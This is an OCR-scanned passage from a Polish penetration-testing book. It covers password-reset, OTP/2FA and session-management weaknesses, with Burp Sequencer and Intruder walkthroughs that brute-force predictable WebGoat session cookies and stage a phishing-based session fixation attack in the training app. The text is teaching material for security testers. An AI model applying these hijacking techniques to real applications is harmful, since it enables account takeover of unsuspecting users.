Kolejny sposéb ochrony polega na tym, ze aplikacja nie daje bezposredniego dostepu do
funkcji resetowania hasta, ale wysyta wiadomo$é e-mail lub SMS z taczem do strony po-
zwalajacej na resetowanie hasta. Takie rozwigzanie sprawdza sie, o ile aplikacja posiada od-
powiednie adresy e-mail badZ numery telefonéw zapisane w swojej bazie. Jezeli jednak zle
zaprojektowana aplikacja podczas procesu odzyskiwania badz resetowania hasta prosi o poda-
nie odpowiedniego adresu czy numeru telefonu i nie por6wnuje wprowadzonych danych
z danymi zapisanymi w bazie podczas rejestracji konta, istnieje prawdopodobiefstwo, ze
zlogliwy uzytkownik moze sfalszowaé te informacje, zastgpi¢ numer badz adres uzytkownika
swoim i w nieuprawniony sposéb odzyskaé haslo uzytkownika.

Jezeli adres e-mail lub numer telefonu sa poprawnie zweryfikowane i nie mozna ich sfat-
szowaé, nadal istnieje ryzyko, ze facze prowadzace do strony resetowania hasta nie zostanie
poprawnie wdrozone. Czasami takie lacza zawieraja parametr wskazujacy identyfikator
konta (np. jego numer) lub nazwe uzytkownika, ktérego hasto ma zosta¢ zresetowane. W takim
przypadku wszystko, co musisz zrobié¢, to wygenerowa¢ nowe lacze do resetowania hasla za
pomoca konta uzytkownika, ktére kontrolujesz, a nastepnie zmieni¢ odpowiedni parametr
reprezentujgcy konto na nazwe uzytkownika, ktérego haslo chcesz zresetowaé.

Innym czesto spotykanym bledem jest to, ze takie wygenerowane tacze uzywane do reseto-
wania hasla nie jest uniewazniane po pierwszym zgodnym z prawem uzyciu. W takim przy-
padku, jezeli ztosliwy napastnik uzyska dostep do takiego tacza, bedzie mégt w dowolnej
chwili ponownie z niego skorzystaé i zresetowaé hasto uzytkownika.

Luki w implementacjach mechanizmu 2FA

Najbardziej rozpowszechniong forma mechanizmu uwierzytelniania wielosktadnikowego (ang.
MFA — Multi-factor Authentication) w aplikacjach internetowych jest uzycie losowo wygenero-
wanej liczby (skladajacej sie najezesciej z czterech do o$miu cyfr) uzywanej jako hasto jednora-
zowe (ang. OTP — One-Time Password), ktorg uzytkownik otrzymuje ze specjalnego urzadzenia,
z aplikacji mobilne;j (takiej jak Google Authenticator, Authy, 1Password czy LastPass Authenti-
cator) lub za posrednictwem wiadomosci SMS czy e-mail wyslanej przez serwer na zadanie.
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Podczas przeprowadzania testu penetracyjnego mozemy wykry¢ i wykorzysta¢ niektére po-
datnosci i luki w zabezpieczeniach, ktére wkradly sie na etapie wdrozenia takiego rozwigzania.
Aby to sie udato, musza by¢ spelnione nastepujace warunki:

Hasta jednorazowe nie sg catkowicie losowe i mozna je przewidzie¢ lub obliczy¢.
Hasla jednorazowe nie sg polaczone z uzytkownikiem, do ktérego sg przypisane.
Oznacza to, ze mozesz wygenerowaé¢ OTP dla jednego uzytkownika i uzywaé go
Z innym.

To samo hasto lub token moga by¢ uzyte wiele razy.

Nie ma ograniczen dotyczacych liczby préb przestania hasta jednorazowego. Taki
btad w implementacji otwiera mozliwosé atakéw typu brute force, ktérych szansa
powodzenia jest catkiem spora, poniewaz hasta OTP sg zwykle kr6tkimi ciggami liczb.
Przed wystaniem hasta jednorazowego za posrednictwem wiadomosci e-mail

lub SMS dane uzytkownika nie sg weryfikowane, co pozwala napastnikowi

na podszywanie sie pod adres e-mail lub numer telefonu.

Czas wygas$niecia hasla jednorazowego jest zbyt dtugi w stosunku do potrzeb
aplikacji. Taka sytuacja powoduje nadmierne rozszerzenie okna czasowego,

w ktérym napastnik moze pozyskaé lub przechwyci¢ prawidlowy nieuzywany token.
Utworzenie nowego hasta jednorazowego nie powoduje automatycznego
uniewaznienia poprzednich hasel. Przykladowo w sytuacji, kiedy uzytkownik
ponownie prosi o token lub hasto, poniewaz poprzednia operacja sie nie
powiodta, napastnik moze uzy¢ wezesniej wygenerowanego hasta OTP do
wykonania innej operacji, nawet po tym, jak legalnie przeprowadzana przez
uzytkownika operacja zostata juz zakonczona.

Do uwierzytelniania MFA powinno sie uzywaé tego samego urzadzenia, z ktérego
uzyskuje sie dostep do aplikacji. W dzisiejszych czasach ludzie maja na smartfonach
rézne aplikacje bankowe, osobista poczte e-mail, aplikacje sieci spolecznosciowych,
stuzbowg poczte e-mail i wiele innych aplikacji, dlatego powinienes sie dwa razy
zastanowi¢, zanim do otrzymywania badZ generowania haset jednorazowych
uzyjesz tego samego smartfona, za posrednictwem ktérego taczysz sie ze swoim
bankiem lub odbierasz stuzbowa poczte.

Wykrywanie i wykorzystywanie
niewfasciwego zarzadzania sesjami

Jak juz wcze$niej wspomniano, zarzadzanie sesjami pozwala aplikacji §ledzi¢ aktywno$é
uzytkownikéw i sprawdza¢ warunki autoryzacji bez koniecznosci dotaczania danych uwie-
rzytelniajacych uzytkownika do kazdego zadania. Oznacza to, ze jezeli zarzadzanie sesja nie
jest prawidlowo zaimplementowane, uzytkownik moze uzyskaé dostep do informacji innych
uzytkownikéw lub wykonywa¢ dzialania wykraczajace poza swoj poziom uprawnien, a jezeli
moze to zrobi¢ uzytkownik, to réwnie dobrze moze taki dostep uzyskaé napastnik zewnetrzny.
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

Zastosowanie modutu Burp Sequencer
do oceny jakosci identyfikatorow sesji

Burp Sequencer to narzedzie do analizy statystycznej, ktére umozliwia zbieranie duzej ilo-
$ci danych, takich jak identyfikatory sesji, i wykonywanie na nich obliczen w celu oceny, czy
sg one generowane losowo, czy tez sg tworzone lub kodowane w inny sposéb. Jest to przy-
datne, gdy mamy do czynienia ze zlozonymi plikami cookie sesji, poniewaz daje wyobraze-
nie o tym, jak takie pliki sq generowane i jaki istnieje sposob na przewidywanie ich zawartosci
i wykorzystanie ich do przeprowadzenia ataku.

Aby korzystaé¢ z modutu Burp Sequencer, najpierw musisz znalez¢ odpowiedz, ktéra ustawia
plik cookie sesji. Zwykle jest to odpowiedz na udane logowanie, ktéra w nagtéwku posiada
ustawione pole Set-Cookie. Na ponizszym zrzucie ekranu pokazujemy odpowiedz, ktéra
ustawia plik cookie sesji (WEAKID) w é¢wiczeniu ilustrujagcym przechwytywanie sesji w aplikacji
WebGoat — aby to zobaczy¢ na wlasne oczy, wybierz z menu opcje WebGoat/Session Mana-
gement Flaws/Hijack a Session (WebGoat/luki w zarzadzaniu sesjami/przechwytywanie sesji):

# & | Host Method URL Farams Edited Status
o MO Lo T T oo Y E DO BV B ST TP TSR P TTTOO9eTS = = oo
Bd http:£10.7.7.5 GET MiebGoatfimages/menu_images/1x1_open.gif O O 404
B5 http:£f10.7.7.5 GET MebGoat/attack?Screen=148&menu=1500 [} O zZ00
70 http:£f10.7.7.5 GET MiebGostfavascriptmenu_syster.js O ] 304
AN J

Request | Respanse
Raw | Headers T Hex T HTML T Render |

HTTP/1.1 208 OK

Date: Sat, 28 Oct 2017 01:09:05 GMT
Server: Apache-Coyotes1l.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1969 19:00:08 EST
Content-Type: text/himl;charset=I50-8859-1
Set-Cookie: WEAKID=18281-1509152945023
Via: 1.1 127.0.1.1

Vary: Accept-Encoding

Connection: close

Content-Length: 30172

Na pierwszy rzut oka wartosé¢ odpowiedzi moze sie wydawaé unikatowa i trudna do odgad-
niecia. Pierwsza cze$é wyglada jak identyfikator, a druga wydaje sie by¢ jakims znacznikiem
czasu, by¢ moze czasem wygasniecia wazno$ci podanym w nanosekundach. A przeciez od-
gadniecie, w ktorej dokladnie nanosekundzie koniczy sie sesja, powinno by¢ bardzo trudne,
prawda? Jak sie za chwile przekonasz, nie jest to najlepsze podejscie.

Odszukaj te odpowiedz w historii pakietéw przechwyconych przez modut Burp Proxy i kliknij
ja prawym przyciskiem myszy. Na ekranie pojawi sie menu podreczne, w ktérym znajdziesz
opcje Send to Sequencer (wyslij do sekwencera). Po przej$ciu do modutu Burp Sequencer
powinienes$ wskazad, na ktérej czesci odpowiedzi ma sie skupié:
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Kali Linux. Testy penetracyjne

Repeater Sequencer T Decoder T Comparer T Extender T Project options T User

_[ Live capture T Manual load TAna\ysis options |

&)

Send requests here from other tools to configure & live capture. Select the request to use, configure the other options

live capture".
| Remove | | # 4 | Host Reguest
) 1 http:/f10.7.7.5 GET /WebGoat/attack?Screen=148&menu=1..

| Clear |

| start live capture |

@

Select the location in the response where the token appears.

(= Cookie: |_WEAKID=18281-1509152945023 _"j
() Form field: |_WEAKID=18281-1509152945023 _"j
() Custorn location: | Configure |

W zaleznosci od potrzeb mozesz przeanalizowaé plik cookie, pole formularza lub inna, do-
wolnie wybrang cze$é odpowiedzi. W naszym przypadku wybierz ciasteczko WEAKID i nacisnij
przycisk Start live capture (uruchom przechwytywanie na zywo). Program rozpocznie wysy-
lanie Zadan do serwera w celu przechwycenia jak najwiekszej liczby r6znych warto$ei cookie. Po
zakonczeniu przechwytywania naci$nij przycisk Analyze now (analizuj teraz), aby rozpoczaé
analize statystyczng zebranych danych. Po zakonczeniu analizy Sequencer wskaze, czy ana-
lizowana warto$¢ jest wystarczajaco losowa i czy jest dobrym wyborem jako identyfikator sesji.
Jak widaé, w naszym przykladzie ciasteczko WEAKID jest stabe i fatwe do przewidzenia:

I Burp Sequencer [live capture #1: http://10.7.7.5] e (ml e

| 7| Live capture {20000 tokens) ) |

| Copy tokens | Requests: 20453

| Save tokens | | Analyze now | Errors: 1]

_[ Surnmary T Character-level analysis T Bit-level analysis TAnaIysis Options )

L3

The overall quality of randomness within the sample is estimated to be: extremely poar.
At a significance level of 1%, the amount of effective entropy is estimated to be: 0 bits.

The chart shows the number of bits of effective entropy at each significance level, based on all tests. Each significance level defines &
rninimurm probability of the abserved results occurring if the sample is randomly generated. When the probability of the observed
results occurring falls below this level, the hypothesis that the sample is randomly generated is rejected. Using & lower significance
level rmeans that stronger evidence is required to reject the hypothesis that the sample is random, and so increases the chance that
non-randorn data will be treated as random.
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

Entropia jest miarg poziomu losowosci okreslonych danych. Wyniki naszego przyktadu po-
kazuja, ze warto$¢ WEAKID ma zerowa losowo$¢, co oznacza, ze jest catkowicie przewidywalna
i nie jest dobrym wyborem jako identyfikator sesji. Modul Sequencer dostarcza réwniez bardziej
szezegotowych informacji na temat dystrybucji i znaczenia kazdego bajta i bitu w tancuchach.

Na kolejnym zrzucie ekranu, zamieszczonym ponizej, zobaczysz wykres analizy znakéw.
Widag, ze znaki na pozycjach 3, 4, 15, 16 i 18 zmieniajg sie znacznie czeSciej niz znaki na po-
zycjach 0 lub 5 do 13, ktére w ogéle sie nie zmieniajg. Znaki na pozycjach od 0 do 4 sugeruja
obecnosé licznika lub liczbe rosnaca, poniewaz ostatni znak zmienia sie znacznie czesciej
niz poprzednie itd. Zweryfikujemy to w nastepnej sekcji.

summary | Character-level analysis T Bit-level analysis Tﬁmalysis Options ]

[ SuUrmrnary TCount T Transitions T Character set ]

Character Count Analysis - Significance Levels

100%

10%

1%

0.1%

0.01% -

0.001%

==0.0001% -

o1 z 3 4 E 3 R 9 10 11 1z 13 14 15 16 17 1&

Character position

Przewidywanie wartosci identyfikatoréw sesji

Zidentyfikowalismy identyfikator sesji, ktory wydaje sie przewidywalny. Teraz sprébujmy
znalezé prawidlows sesje. Aby to zrobié, weZmiemy to samo zadanie, ktére ustawialo nasz
plik cookie, i przekazemy je do modutu Intruder. W takim przypadku wystarczy powtérzyé
takie zadanie kilka razy. Aby jednak modul Intruder mégl dziata¢ prawidtowo, musi mieé¢
zdefiniowane punkty wstawiania. Dodaj zatem do zadania pole (Test: 1) i jako pozycje
wstawiania wskaz jego warto$¢:

149

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rf/kalit3
http://helion.pl/page354U~rt/kalit3

Kali Linux. Testy penetracyjne

[ Target T Proxy T Spider T Scanner T Intruder L
o[ |

[Target T Positions T Payloads T Cptions ‘

2 | start attack |

Configure the positions where payloads will be inserted into the base request. The attack type determines the way
in which payloads are essigned to payload positions - see help for full details.

Attack type: | Sniper vJ

GET /WebGoat/attack?Screen=148&menu=1806 HTTP/L1.1

Host: 18.7.7.5

User-Agent: Mozilla/5.0 [X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text.-"ht'ﬂL,a|)|)Lication,a‘xht11L+anTa|)|)Lication.-f)<'nL,'q=B.9,".-"";q=B.B [ cler s J
Accept-Language: en-US.en:g=0.5
Accept-Encoding: gzip, deflate | Auta b |
Referer: http://10.7.7.5/WebGoat/attack
Cookie: JSESSIONID=CC9A1F32615E16A05DDO78BEOTREABCE | Refresh J
Authorization: Basic d2viz29hdDp3ZWlnb2Fo -
Test: §1§

Connection: close
Upgrade-Insecure-Requests: 1

LI

[ adds |

W tym przykladzie wyslemy 101 zadari, zatem z listy Payload type (typ tadunku) wybierz
opcje Numbers (liczby), a nastepnie zaznacz opcje Type: Sequential (typ sekwencyjny) i jako
zakres warto$ci wybierz od 0 do 100 z krokiem 1 (kolejno pola: From, To, Step):

[ Target T Froxy T Spider T Scanner T Intruder Repeater
[1_XT 2 x |8 = _|
Target | Positions | Payloads T Options |

2J | Start attack |

You can define one or rmore payload sets. The number of payload sets depends on the attack type
defined in the Positions tab. Warious payload types are available for each payload set, and each
pavload type can be custornized in different ways

Payload set: |1 [E2 Payload count 101
Payload type: | Numbers v Request count: 101

2

This payload type generates numeric payloads within a given range and in a specified format

Type: ® Sequential (O Random
From: 1]

Tao: pRui}

Step: 1

How rmany:

Teraz przejdz na karte Options (opcje) i w sekcji Grep-Extract (wyodrebnianie z uzyciem
wyrazenia grep) dodaj jedno wyrazenie. Upewnij sie, ze opcja Update config based on selection
below (aktualizuj konfiguracje na podstawie ponizszego wyboru) jest wlaczona, i zaznacz tylko
warto$¢ tego pliku cookie:
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

i Define extract grep item [ E

?) Define the location of the item to be extracted. Selecting the item in the response panel will create & suitable configuration sutarmatically.
— You can also modify the configuration ranually to ensure it works effectively.

[ Define start and end [ ] Extract frorm regex group

@ Start after expression: | WEAKID=

() Start at offset:

® End at delimiter: wrnie:

() End at fixed length:

(] Exclude HTTF headers [] Update config based on selection below | Refetch response J

HTTP/1.1 208 OK '
Date: Sat, 28 Oct 2017 01:25:49 GMT

Server: Apache-Coyote/1.1 )
Pragma: No-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1969 1%:00:00 EST
Content-Type: text/html;charset=I50-8859-1
Set-Cockie: WEAKID=18292-1500153949653
Via: 1.1 127.0.1.1

Vary: Accept-Encoding

Content-Length: 38172

Connection: close

ke
=IDOCTYPE html PUBLIC -/ W3C//DTD XHTML 1.0 TransitionalssEN" v

? = + ES Tyoe a search term o matches
[ N N R |

| ow || Cancel |

Naci$nij przycisk OK, a nastepnie Start attack (rozpocznij atak).

Teraz mozesz zobaczy¢ warto§¢ WEAKID w tabeli wynikéw dzialania modulu Intruder i spraw-
dzi¢, czy pierwsza cze$¢ wartoSci cookie jest liczba sekwencyjna, a druga cze$¢ zawsze rosnie.
Zalezy to od czasu otrzymania zadania przez serwer. Jezeli przyjrzysz sie ponizszemu zrzu-
towi ekranu, z pewnoScig zauwazysz, ze w sekwencji wartosci sg pewne luki:

_[ Results T Target T Faositions T Fayloads T Options |
| Filter: Showing all items |lj
Request 4 Payload | Status | Errar | Timeout | Length | WEAKID= | Cornment
o 200 O D] 30507 15295-15091545646539 "
1 u] 200 ] D] 30507 15294-15091545647592
2 1 200 (] (] 30507 15295-1509154564937
3 2 200 O ] 30507 15296-1509154565115
4 ] 200 O ] 30507 15297-1509154565409
5 4 200 o o J0507 15295-1509154565765
B 5 200 o o 30533 15300-15091545661590
7 B 200 (] (] 30507 15301-1509154566677
g T 200 O ] 30507 15302-1509154567226
g g 200 O ] 30507 15303-1509154567540
10 9 200 (] (] 30507 15504-15091545655158
11 10 200 O ] 30507 15305-1509154569555
1z 11 200 o o 30507 15306-1509154570172
13 1z 200 O D] 30507 15307-1509154571045
14 1z 200 ] D] 30507 15308-15091545719592
15 14 200 [ (] 30507 15309-1509154573000 v
< [
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Pierwsza czesé¢ identyfikatora biezacej aktywnej sesji to 18299. Wiemy o tym, poniewaz nie otrzy-
mali$my tej wartosci z serwera, i wiemy, ze jest inkrementowana z kazdym zadaniem. Wiemy tez, ze
druga czes¢ to znacznik czasu i ze zalezy réwniez od czasu przypisania ciasteczka sesyjnego. Wyni-
ka stad, ze druga cze$¢ poszukiwanej wartosci musi sie znajdowa¢ pomiedzy dwiema warto$ciami,
ktére juz znamy: 1509154565768 i 1509154566190. Poniewaz réznica miedzy tymi liczbami jest mata
(422), mozemy z fatwoscia uzy¢ Intrudera do proby znalezienia tej wartosci metodg brute force.

Aby to zrobi¢, wezmiemy pierwotne zadanie i przekazemy je ponownie do modulu Intruder.
Tym razem dodamy do niego plik cookie. Bezposrednio po wartosci pola JSESSIONID dodaj
nastepujace elementy (pamietaj, aby odpowiednio dopasowaé wartosci do swoich wynikéw):

; WEAKID = 18299-1509154565768

Zaznacz cztery ostatnie znaki i ustaw tam znacznik pozycji:

[ Target T Proxy T Spider T Scanner T Intruder ]_
o2 (= |
Target | Positions T Fayloads T Options ]

&)

| Start attack J

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper vJ

GET /WebGoat/attack?Screen=148&menu=1800 HTTP/1.1 A |
Host: 10.7.7.5 S
User-Agent: Mozilla/5.8 (X11: Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8 |
Accept-Language: en-US,en:g=0.5
Accept-Encoding: gzip, deflate |_ Auto B J
Referer: hittp://10.7.7.5/WebGoat/attack
Cookie: JSESSIONID=CC9A1F32615E16A05DD978BERTOGABCC; WEAKID=18299-150915456857685 | Refresh J
Authorization: Basic d2¥iZ29hdDp3ZwlnbzFe —
Connection: close
Upgrade-Insecure-Requests: 1

Add g J

Clear & |

Przejdz teraz na karte Payloads (fadunki) i przekonaj sie, ze w ataku zostang uzyte liczby od
5768 do 6190:

[Target T Positions T Payloads T Cptions )

@
You can define one or mare payload sets. The nurmber of payload sets depends on the attack type
tab. warious payload types are available for each payload set, and each payload type can be custo
Pavload set: |_ 1 v Pavload count: 423
Payload type: | Numbers v Request count: 423

This pevload tvpe generates numeric payloads within a given range &nd in a specified format.

Type: (= Sequential () Random
Fram 5¥68

Ta: £130]

Step: 1

How rmany:
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

Na konicu dodaj wyrazenie grep, ktére zasygnalizuje Ci, kiedy osiggniesz sukces. W tym
momencie znamy tylko komunikat, ktéry otrzymuje nieuwierzytelniony uzytkownik. Zakta-
damy tutaj, ze uwierzytelniony uzytkownik (czyli uzytkownik, ktéry posiada wazny plik
cookie sesji) nie bedzie musial sie logowadé:

[Target T Positions T Fayloads T Cptions ]

CIE

These settings can be used to flag result items containing specified expressions.

[ Flag result iterns with responses matching these expressions:

| Paste Flease sign in to your account
| Load ..

| Rernove

| Clear

| Add Plegse sign in to your account

Match type: ® Simple string
() Regex

] Case sensitive match
[ Exclude HTTP headers

Uruchom atak i poczekaj, az dzialanie Intrudera przyniesie jakie$ wyniki:

_[ Results T Target T Positions T Pavloads T Options ]

| Filter: Showing all items

Request & Payload | Status | Error | Timeout | Length | Please sign in to your account
711 5975 200 O O 30467 &

212 5979 200 O O 30009 O

213 5950 200 O O 30512 [}

214 5951 200 Ll Ll S0512 ]

< J

Request | Response
Raw | Headers IHex T HTML I Render ]

Application developers who develop their own session IDs frequently
forget to incorporate the complexity and randomness necessary for security. If the user specific session
ID is not complex and random, then the application is highly susceptible to session-based brute force
attacks.
=p=<b=General Goal(s):=</b= =/p=
Try to access an authenticated session belonging to someone else.
<=/div=

<div id="message" class="info"=<ER= * Congratulations. You have
successfully completed this lessonl</div=

=div id="lessonContent"==form accept-charset="UNKNOWN' method='POST' name='form'
action='attack?Screen=148&menu=1800" enctype=''=</form==/div=

Masz teraz poprawny identyfikator sesji. Aby z niego skorzystac, wystarczy wymieni¢ warto$é
pliku cookie sesji na te, ktérg wlasnie znalazles, a nastepnie odwiedzi¢ strone i przeja¢ kontrole
nad sesja innego uzytkownika. Zostawimy Ci to jednak do samodzielnego przetestowania.
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Ataki typu Session Fixation

Czasami do generowania identyfikatora sesji wykorzystywane sa informacje dostarczone
przez uzytkownika lub, co gorsza, informacje dostarczone przez uzytkownika stajq si¢ iden-
tyfikatorem sesji. W takim przypadku napastnik moze zmusi¢ uzytkownika do uzycia prede-
finiowanego identyfikatora, a nastepnie monitorowania aplikacji i sprawdzania, kiedy ten uzyt-
kownik rozpocznie sesje. Taki rodzaj ztoSliwego dziatania nazywamy atakiem z wykorzystaniem
spreparowanych stalych identyfikator6w sesji lub w skrécie atakiem typu Session Fixation.

W aplikacji WebGoat znajdziemy dosy¢ uproszczona, ale bardzo obrazowa demonstracje tej
luki (z menu aplikacji WebGoat wybierz opcje Session Management Flaws/Session Fixation
(luki w zarzadzaniu sesjami/Session Fixation)). Wykorzystamy te opcje, aby zilustrowaé, w jaki
spos6b mozna przeprowadzi¢ taki atak.
1. W pierwszym kroku wcielasz sie w role napastnika. Musisz utworzy¢ wiadomosé
e-mail zawierajaca dowolnie wybrang warto$é identyfikatora sesji (np. SI1D=123)
w linku Goat Hills, ktéry wyslesz do ofiary:

€ | 9 | ® & |10.7.7.5/WebGoat/attack?Screen=132¢ EJ| ¢ | # |Q Search B ¥ @& ¢

S Most visitedv [l Offensive Security "\ Kali Linux '\, Kali Docs "% Kali Tools # Exploit-DB Wy Aircrack-ng

Session Fixation

OWASP WebGoat v5.4 L. . 9SS :

Intreduction
General
Access Control Flaws
AJAX Secur
ti

Solution Videos Restart this Lesson

STAGE 1: You are Hacker Joe and you want to steal the session from Jane. Send a prepared email to
the victim which looks like an official email from the bank. Atemplate message is prepared below,
you will need to add a Session ID(SID) in the link inside the email. Alterthe link to include a SID.

-Site Scripting (XS5) You are: Hacker Joe

per Error Handling

Injection Flaws .
Denial of Service Mail To: jane.plane@owasp.org
Insecure C

munication Mail From: admin@webgoatfinancial.com
uration

Insecure C

Insecure Storage Title: Check your account
Malicious Execution
g,P;!; 'Z.ﬁ[ﬁﬁ;?;,i'g’,;'tHNS <b=Dear MS. Plane</b= <br=<br=During the last week we had a few ~
B problems with our database. We have received many complaints
@ Hiiack a Session regarding incorrect account details. Please use the following link
Spoof an Authentication to verify your account data:<bre<br=<center=<a href={IEdEN
g punsnssson Gost. Rills Financiale/e
n Fixafion </center><pr><hr>We are sorry for the any inconvenience and thank
Web Services you for your gopparation.<pr=<hr=<b=Your Goat Hills Financial
Admin Functions Team</b><center> <hr><br=<ing src='images/WehGoatFinancial s
Challenge /banklogo.ipg'=</center=
| sendMail |

Created by: Reto Lippuner, Marcel
Wirth

Napastnik odkryl, ze witryna Goat Hills Financial uzywa parametru GET do
definiowania identyfikatoréw sesji, i wyslal przygotowana wyzej wiadomo$é
phishingowa do klienta tej instytucji.

2. Na tym etapie ¢wiczenia dzialasz jako ofiara, ktéra otrzymuje wiadomosé e-mail
od napastnika:
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

€ | ©|10.7.7.5/WebGoat/attack?Screen=132&men  EJ | ¢ | # |Q Search B ¥ @ =
[ Most Visitedv [l Offensive Security S Kali Linux s Kali Docs & Kali Tools # Exploit-DB Y Aircrack-ng »
< ~
| Session Fixation
OWASP WebGoat v5.4
Introduction N . N
General Solution Videos Restart this Lesson
Access Control Flaws
il‘«)ﬁ Security - STAGE 2: Mow you are the victim Jane who received the email below. If you point on the link with
uthentication Flaws your mouse you will see that there is a SID included. Click on it to see what happens
Buffer Overflows
Code Quality .
Concurrency You are: Victim Jane
Cross-Site Scripting (X55)
Improper Error Handling . '
Injection Flaws You completed stage 1!
Denial of Service
Insecure Communication Mail From: admin@webgoatfinancial.com
Insecure Configuration
Insecure Storage Dear MS. Plane
Malicious Execution
Parameter Tampering During the last week we had a few problems with our database. We have received many
Session Management Flaws complaints regarding incorrect account details. Please use the following link to verify your account
@ data
Hiack & Session
Spoof an Authentication Goat Hills Anancial
Cookie
Session Fixation We are sorry for the any inconvenience and thank you for your cooparation
Web Services
Admin Functions Your Goat Hills Financial Team
10.7.7.5/WebGoat/attack?Screen=132&menu=1800&SID=123 v

Poniewaz wiadomo$¢ e-mail nadeszla z adresu admin@uwebgoatfinancial.com,
istnieje duze prawdopodobiefistwo, ze ,,ofiara” weZmie go za dobra monete, postapi
zgodnie z sugestig ,,admina” i kliknie zalaczony w wiadomosci link, co spowoduje
przejscie do strony logowania i zalogowanie uzytkownika. W tym momencie zostanie
utworzona wazna sesja, ktéra uzywa parametru wyslanego przez atakujacego.

3. Nastepny etap ataku wymaga, aby napastnik zalogowat sie do tej samej witryny co ofiara:

€ | O & | 10.7.7.5/WebGoat/attack?Screen=132&me  EJ1| @ | # Q Search %+ B ¥+ #

[ Most Visited~ JlOffensive Security “e Kali Linux Y Kali Docs e Kali Tools = Exploit-DBE Wy Aircrack-ng
Legout e

Choose another language: | English v |

Session Fixation

* OWASP WebGoat

Restart this Lesson

Introduction =
G il Solution Videos
Access Control Flaws
'f‘JAX Sec_urlt_-,f _ STAGE 4: It is time to steal the session now. Use following link to reach Goat Hills Financial.
Authentication Flaws
Buffer Ov WS -
Code Quality You are: Hacker Joe
Concurrency
Cross-Site Scripting (X55)
Improper Errar Handling &
© Goat Hills Financial
Denial of Service L.
Insecure Communication 1’ Human Resources
Insecure Configuration
-

Insecure Storage [mi-| ]
Malicious Execution A
Parameter Tampering
Session Management Flaws

® 1500k 8 Session Please Login

Spoof an Authentication

Cooke Enter your name: | someuser |
Session Fxation 1

Web Services Enter your m
Admin Functions password:
Challenge —————————
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Przechwytujemy Zgdanie za pomoca Burp Proxy i edytujemy je tak, aby uwzglednic¢
parametr SID, ktérego ofiara uzyla do zalogowania sie:

[Target TPrnxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Cormparer

_[ InterceptT HTTP histary TWEbSDEkEtS history T Options ]

[#] Request to http:10.7.7.5:80

l Forward J [ Drop J [ Interceptis an | Action

J Raw T Params T Headers T Hex ]

POST /WebGoat/attack?Screen=132&menu=1800&5ID=123] HTTP/1.1

Host: 18.7.7.5

User-Agent: Mozillas5.0 (X11; Linux xB86_64; rv:52.0) Gecko/20100101 Firefox,/52.0
Accept: text/himl,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.7.7.5/WebGoat/attack?Screen=132Emenu=1800&5ID=NOVALIDSESSION
Cookie: JSESSIONID=CCO9A1F32615E16AB5DD97EBERTOEABCC

Authorization: Basic d2¥iZ29hdDp3ZWinb2Fo

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

user3=someuser&passi=somepassword&Submit=Login

4. Po wystaniu zmodyfikowanego zadania napastnik otrzymuje dostep do profilu ofiary:

STAGE 4: It is time to steal the session now. Use following link to reach Goat Hills Financial.

You are: Hacker Joe

* Congratulations. You have successfully completed this lesson.

¢ Goat Hills Financial

L Human Resources

[ Sl
Firstname: Jane
Lastname: Plane
Credit Card Type: MC
Credit Card Number: 74589864
Logout
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

W tym przykladzie zaprezentowalismy dwa gléwne bledy w procesie zarzadzania identyfi-
katorami sesji:

1. Po pierwsze, identyfikatory sesji sq generowane na podstawie informacji
podanych przez uzytkownika, co utatwia intruzowi zidentyfikowanie
prawidlowych wartosci i powiazanie ich z istniejacymi kontami uzytkownikéw.

2. Po drugie, identyfikator nie zmienia sie po uruchomieniu uwierzytelnionej
sesji (kiedy ofiara zaloguje sie do aplikacji), dlatego méwimy, Ze jest to atak
z wykorzystaniem spreparowanych stalych identyfikatoréw sesji (ang. Session
Fixation), poniewaz napastnik moze dowolnie ustawi¢ warto$¢ identyfikatora
sesji dla ofiary, a nastepnie wykorzysta¢ te samg warto$¢ do przejecia sesji
uwierzytelnionej ofiary.

Zapobieganie atakom
na uwierzytelnianie i sesje

Uwierzytelnianie w aplikacjach internetowych jest trudnym zagadnieniem, a co gorsza, do
tej pory nie znaleziono uniwersalnego rozwigzania. Z tego powodu zapobieganie lukom
w tym obszarze aplikacji jest w duzej mierze zalezne od umiejetnosci deweloperéw aplika-
cji, ktérzy musza znalezé réwnowage pomiedzy uzytecznos$cia a bezpieczenistwem zgodnie
z przeznaczeniem aplikacji i profilem uzytkownikéw, z ktérymi bedg mieli do czynienia.

To samo mozna powiedzie¢ nawet o calym zarzadzaniu sesja, poniewaz obecnie uzywane
metody nadal stanowig tylko obejscie niedociagnie¢ protokolu HTTP. Prawdopodobnie wraz
z pojawieniem sie HTML5 i WebSockets lub podobnych technologii bedziemy mie¢ lepsze
alternatywy do pracy w przysztosci.

Nie zmienia to jednak w niczym faktu, ze mozliwe jest zdefiniowanie ogélnych wytycznych
dotyczacych zaréwno uwierzytelniania, jak i zarzadzania sesjami, ktére pomoglyby programi-
stom podnie$¢ poprzeczke zabezpieczen i utrudni¢ napastnikom zycie, a ktérych pentesterzy
moga uzyé jako punktu odniesienia przy poszukiwaniu usterek i wydawaniu zalecen klientom.

Wytyczne dotyczace uwierzytelniania
Ponizej zamieszczamy liste wskazéwek dotyczacych uwierzytelniania:
B Nazwy kont lub identyfikatory uzytkownikéw musza by¢ unikatowe dla kazdego

uzytkownika i nie powinny by¢ zalezne od wielkosci liter (nazwy uzytkownik
oraz UzytkowniK odnosza sie do jednego i tego samego konta).

B Aplikacja powinna wymusza¢ tworzenie odpowiednio silnych haset oraz
